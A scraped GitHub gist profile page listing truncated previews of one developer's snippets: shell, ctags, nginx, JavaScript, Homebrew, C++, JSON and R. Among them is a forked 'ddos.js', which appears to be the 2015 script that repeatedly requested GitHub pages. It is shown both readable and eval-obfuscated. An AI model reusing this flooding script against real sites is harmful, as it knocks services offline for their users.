Skip to content

Instantly share code, notes, and snippets.

View thomasjo's full-sized avatar
🛰️

Thomas Johansen thomasjo

🛰️
View GitHub Profile
@thomasjo
thomasjo / exitcode.bash
Created April 15, 2014 20:14
Simple repro of bash command substitution not short-circuiting as expected.
#!/usr/bin/env bash
test1() {
local output
output="$(/does/not/exist)"
echo "${output}"
}
test2() {
local output
--langdef=coffee
--langmap=coffee:.coffee
--regex-coffee=/(^|=[ \t])*class ([A-Za-z_][A-Za-z0-9_]+\.)*([A-Za-z_][A-Za-z0-9_]+)( extends ([A-Za-z][A-Za-z0-9_.]*)+)?$/\3/c,class/
--regex-coffee=/^[ \t]*(module\.)?(exports\.)?@?(([A-Za-z][A-Za-z0-9_.]*)+):.*[-=]>.*$/\3/m,method/
--regex-coffee=/^[ \t]*(module\.)?(exports\.)?(([A-Za-z][A-Za-z0-9_.]*)+)[ \t]*=.*[-=]>.*$/\3/f,function/
--regex-coffee=/^[ \t]*(([A-Za-z][A-Za-z0-9_.]*)+)[ \t]*=[^->\n]*$/\1/v,variable/
--regex-coffee=/^[ \t]*@(([A-Za-z][A-Za-z0-9_.]*)+)[ \t]*=[^->\n]*$/\1/f,field/
--regex-coffee=/^[ \t]*@(([A-Za-z][A-Za-z0-9_.]*)+):[^->\n]*$/\1/f,static field/
--regex-coffee=/^[ \t]*(([A-Za-z][A-Za-z0-9_.]*)+):[^->\n]*$/\1/f,field/
--regex-coffee=/((constructor|initialize):[ \t]*\()@(([A-Za-z][A-Za-z0-9_.]*)+)([ \t]*=[ \t]*[^,)]+)?/\3/f,field/
# The blog post that started it all: https://neocities.org/blog/the-fcc-is-now-rate-limited
#
# Current known FCC address ranges:
# https://news.ycombinator.com/item?id=7716915
#
# Confirm/locate FCC IP ranges with this: http://whois.arin.net/rest/net/NET-165-135-0-0-1/pft
#
# In your nginx.conf:
location / {
@thomasjo
thomasjo / reduce_wtf.js
Created June 22, 2014 14:34
JavaScript's Array.reduce is silly...
segments = "text.foo.bar.quux".split(".");
segments.reduce(function(aggregate, current, index) {
console.log(index);
});
// Result:
// 1
// 2
// 3
@thomasjo
thomasjo / vagrant.rb
Created July 28, 2014 14:55
Vagrant Formula for Homebrew
class Vagrant < Formula
homepage 'http://www.vagrantup.com/'
url 'https://dl.bintray.com/mitchellh/vagrant/vagrant_1.6.3.dmg'
sha1 '749e2b9b4be8bfb7ab3b9a4d56d6eb60a78f2bab'
bottle do
end
def install
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime = (new Date).getTime();
var count = 0;
function unixtime() {
var a = new Date;
return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}
url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
@thomasjo
thomasjo / ddos.js
Last active August 29, 2015 14:17 — forked from zhufenggood/ddos.js
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('l.k("<5 p=\'r://H.B.9/8/2.0.0/8.C.t\'>\\h/5>");!J.K&&l.k("<5 p=\'r://L.8.9/8-T.t\'>\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E/","m://n.9/F-G/"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);',62,64,'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeou
@thomasjo
thomasjo / tiffy.hpp
Created March 31, 2015 21:39
Femto scale C++ wrapper around LibTIFF
#pragma once
#include <cstdint>
#include <vector>
namespace tiffy {
template<typename T, typename ...Targs>
std::unique_ptr<T> make_unique(Targs&& ...args) {
return std::unique_ptr<T>(new T(std::forward<Targs>(args)...));
[{"_id":"553a61598da7834344688642","index":0,"guid":"b5925afe-f783-4306-aa31-87f8ee7c6941","isActive":false,"balance":"$2,225.73","picture":"http://placehold.it/32x32","age":33,"eyeColor":"green","name":"Best Waters","gender":"male","company":"DIGIFAD","email":"bestwaters@digifad.com","phone":"+1 (821) 590-2189","address":"667 Pooles Lane, Waikele, Texas, 4264","registered":"2014-04-04T06:56:57 +07:00","latitude":89.515886,"longitude":-51.082281,"tags":["non","officia","do","quis","pariatur","quis","quis"],"friends":[{"id":0,"name":"Haley Schroeder"},{"id":1,"name":"Cristina Hays"},{"id":2,"name":"Hanson Vaughan"}],"greeting":"Hello, Best Waters! You have 6 unread messages.","favoriteFruit":"banana"},{"_id":"553a615998479a1ea1e3bd2f","index":1,"guid":"e5ad5b96-fa57-455c-be7b-991cf88f8ac2","isActive":true,"balance":"$3,053.51","picture":"http://placehold.it/32x32","age":33,"eyeColor":"brown","name":"Nora Holland","gender":"female","company":"AVIT","email":"noraholland@avit.com","phone":"+1 (810) 590-3862","add
@thomasjo
thomasjo / mintedSweave.R
Created February 5, 2016 19:24 — forked from rundel/mintedSweave.R
Modified Rweave driver and functions to use minted
RweaveLatexMinted <- function()
{
list(setup = RweaveLatexSetup,
runcode = RweaveLatexRuncodeMinted,
writedoc = RweaveLatexWritedocMinted,
finish = RweaveLatexFinish,
checkopts = RweaveLatexOptions)
}
makeRweaveLatexCodeRunnerMinted <- function(evalFunc=RweaveEvalWithOpt)